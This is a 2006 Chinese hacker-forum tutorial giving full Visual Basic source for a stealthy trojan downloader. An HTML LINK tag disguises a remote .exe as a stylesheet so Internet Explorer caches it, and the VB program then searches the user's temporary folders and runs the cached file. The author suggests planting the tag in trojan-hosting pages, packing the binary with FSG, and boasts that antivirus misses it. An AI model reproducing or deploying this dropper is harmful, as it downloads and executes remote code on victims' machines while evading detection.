VB打造另类下载者

这个下载者的灵感来自于“变态传文件法(比tftp,ftp,iget.vbe都爽的)”这篇文章。
下面给大家大体介绍一下程序的主要过程吧!

1、程序会先打开一个网站,这是程序的一个很大缺点,打开网页会引起别人的注意,其实可以做广告,
也可以提前插在挂马的网页里,也希望哪位高手可以隐藏的打开网页,我还是个菜鸟,还需努力啊*_*
打开的网页里面要插入如下代码:
<head>
<LINK href="http://yuyufeifei.122.tofor.com/logo2.exe" rel=stylesheet type=text/css>
</head>
这样就会下载logo2.exe到你的IE临时文件夹,但是不会运行,在xp-sp2和2k最新补丁中都能下载下来。

2、写搜索文件的程序,把下载的logo2.exe找到具体路径,然后运行它这是程序的关键!具体代码如下:

Dim size As Long '文件大小
Dim disk As String  '要搜索的文件路径
Dim filename As String '要搜索的文件名
Dim ss As String  '搜索到的文件路径
Dim sss As String  '搜索到的文件名

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As

String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
 '声明 shellexecute 的api
Private Sub Form_Activate()
On Error Resume Next '遇到错误继续执行
filename = "logo*.exe" '要搜索的文件名
disk = Environ("UserProfile") & "\" & "Local Settings" '要搜索的文件路径
If Right(disk, 1) <> "\" Then disk = disk + "\" '要搜索的具体路径
disk = UCase(disk)
Call alf(disk, filename)  '调用搜索文件的过程 进行搜索
Do While size < 1 '如果搜到的文件大小为0 则继续搜索, 直到搜索到为止
Call alf(disk, filename)
Loop
End '关闭本程序
End Sub
Private Sub Form_Load()
ShellExecute 0, "open", "http://yuyufeifei.122.tofor.com/", vbNullString, vbNullString, 1 '程序加载时打开这个网页
End Sub

Public Sub alf(ByVal sdn As String, ByVal ff As String) '具体搜索文件的过程
Dim sn As String, sf As String
Dim sdl() As String, idn As Long, i As Long
On Error Resume Next
On Error GoTo err
sf = Dir(sdn + ff, vbArchive + vbHidden + vbReadOnly + vbSystem) '搜索的文件属性为全部
Do While Len(sf) > 0 '检测sf长度大于0则继续,小于0则退出
   sf = UCase(Trim(sf)) '删去sf的前后空格 将文件名转为大写
   ss = sdn  '把找到的路径赋给ss
   sss = sf  '把找到的文件名赋给sss
   Shell ss + sss '运行找到的程序
   size = size + FileLen(sdn + sf) '大小赋给size
   sf = Dir
   DoEvents
Loop
idn = 0
sn = Dir(sdn + "*.*", vbDirectory + vbArchive + vbHidden + vbReadOnly + vbSystem) '搜索的文件属性为全部 搜所有文件
Do While Len(sn) > 0 '检测sn长度大于0则继续,小于0则退出
   If sn <> "." And sn <> ".." Then '搜索下一个文件夹的过程
      idn = idn + 1
      ReDim Preserve sdl(1 To idn)
      sdl(idn) = sdn + sn + "\"
   End If
   sn = Dir
   DoEvents
Loop
For i = 1 To idn
  alf sdl(i), ff
Next
err:
Exit Sub
End Sub

编译好了后大约16K,fsg2.0压缩后大概4.79K,大小挺合适做下载者吧,而且不被杀,哈哈~

程序得缺点,望高手能再改正!

By:玉雨 
QQ:81399773
责任编辑:¤洋洋dé意
QQ:251106496
 
2006年9月2日